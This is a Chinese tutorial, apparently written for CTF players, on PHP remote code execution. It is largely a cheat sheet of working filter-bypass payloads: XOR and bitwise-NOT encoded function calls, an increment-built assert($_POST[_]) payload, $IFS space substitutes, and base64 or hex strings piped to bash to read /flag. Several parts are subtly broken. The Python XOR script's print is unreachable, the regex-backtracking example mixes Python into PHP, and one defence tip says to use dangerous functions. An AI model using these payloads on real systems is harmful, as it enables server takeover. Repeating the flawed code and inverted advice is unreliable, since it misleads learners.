异或构造Python脚本

约 8 分钟读完

一、rce漏洞概述

​ 在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞;

二、常见RCE漏洞函数

1.系统命令执行函数

system():能将字符串作为OS命令执行,且返回命令执行结果;

exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);

shell_exec():能将字符串作为OS命令执行

passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;

popen():打开进程文件指针

proc_open():与popen()类似

pcntl_exec():在当前进程空间执行指定程序;

反引号:反引号内的字符串会被解析为OS命令;

2.代码执行函数

eval():将字符串作为php代码执行;

assert():将字符串作为php代码执行;

preg_replace():正则匹配替换字符串;

create_function():主要创建匿名函数;

call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;

call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组

可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;

二、RCE绕过

管道符

管道符 实例 描述
; A;B 无论真假,A与B都执行
& A&B 无论真假,A与B都执行
&& A&&B A为真时才执行B,否则只执行A
| A|B 显示B的执行结果
|| A||B A为假时才执行B,否则只执行A

空格过滤

以下可代替空格
< <> %20(即space)
%09(即tab) $IFS$9 ${IFS}
$IFS {cat,/flag}

反斜杠\绕过

//如cat、ls被过滤,使用\绕过
c\at /flag
l\s /

取反绕过

//取反传参
<?php
$a = "system";
$b = "cat /flag";
$c = urlencode(~$a);
$d = urlencode(~$b);
//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>

异或绕过

# 异或构造Python脚本
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
answer = input('输入异或构造的字符串:')
tmp1, tmp2 = '', ''
for c in answer:
    for i in valid:
        for j in valid:
            if ord(i) ^ ord(j) == ord(c):
                tmp1 += i
                tmp2 += j
                break
            else:
                continue
                break
                print(f'"{tmp1}"^"{tmp2}"')
//异或php脚本
<?php
$a='phpinfo';
for ($i = 0;$i <strlen($a);$i++)
    echo '%'.dechex(ord($a[$i])^0xff);



echo "^";



for ($j=0;$j<strlen($a);$j++)



    echo '%ff';



?>



 



//输出:%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff
//简单例题,flag再phpinfo()中,需要执行php命令:phpinfo();



 



<?php



show_source(__FILE__);



$mess=$_POST['mess'];



if(preg_match("/[a-zA-Z]/",$mess)){



    die("invalid input!");



}



eval($mess);



 



 



//构造payload,字符串phpinfo异或结果为"0302181"^"@[@[_^^"



 



mess=$_="0302181"^"@[@[_^^";$_();

自增绕过

//自增payload,assert($_POST[_]),命令传入_



 



$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$____;$___($_[_]);&_=phpinfo();

黑名单绕过

//变量拼接,如flag被过滤



将:



cat /flag



替换为:



b=ag;cat /fl$b





//读取根目录



eval(var_dump(scandir('/'););



//读flag



eval(var_dump(file_get_contents($_POST['a'])););&a=/flag



 



 



 



//等效于打开ls目录下的文件



cat `ls`



 



//_被过滤,php8以下,变量名中的第一个非法字符[会被替换为下划线_



N[S.S等效于N_S.S



php需要接收e_v.a.l参数,给e[v.a.l传参即可



 



//php标签绕过



?><?= phpinfo(); ?>

base和hex编码绕过

//base64编码绕过,编码cat /flag,反引号、| bash、$()用于执行系统命令



`echo Y2F0IC9mbGFn | base64 -d`



echo Y2F0IC9mbGFn | base64 -d | bash



$(echo Y2F0IC9mbGFn | base64 -d)



 



//hex编码绕过,编码cat /flag,| bash用于执行系统命令



echo '636174202f666c6167' | xxd -r -p | bash



 



//shellcode编码



//十六进制编码

正则匹配绕过

//如flag被过滤



cat /f???



cat /fl*



cat /f[a-z]{3}

引号绕过

//如cat、ls被过滤



ca""t /flag



l's' /

cat替换命令

more less cat tac
head tail vi vim
nl od sort uniq
tac 与cat相反,按行反向输出
more 按页显示,用于文件内容较多且不能滚动屏幕时查看文件
less 与more类似
tail 查看文件末几行
head 查看文件首几行
nl 在cat查看文件的基础上显示行号
od 以二进制方式读文件,od -A d -c /flag转人可读字符
xxd 以二进制方式读文件,同时有可读字符显示
sort 排序文件
uniq 报告或删除文件的重复行
file -f 报错文件内容
grep 过滤查找字符串,grep flag /flag

回溯绕过

//php正则的回溯次数大于1000000次时返回False



$a = 'hello world'+'h'*1000000



preg_match("/hello.*world/is",$a) == False

无回显RCE

//无回显RCE,如exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可
ls / | tee 1.txt
cat /flag | tee 2.txt
//eval()无输出
eval(print`c\at /flag`;)

无参数RCE

​ 利用getallheaders()、get_defined_vars()、session_id等;

无字母数字RCE

​ 异或、取反、自增、临时文件上传;

三、RCE漏洞危害

​ ①继承Web服务器程序权限,去执行系统命令;

​ ②继承Web服务器权限,读写文件;

​ ③反弹shell;

​ ④控制整个网站甚至是服务器;

四、RCE漏洞防护

​ ①对用户的输入作严格的过滤,如白名单策略;

​ ②尽量使用容易产生漏洞的危险函数;

​ ③保证用户不用控制危险函数的传参;

← 报错注入 XPath注入攻击详解 →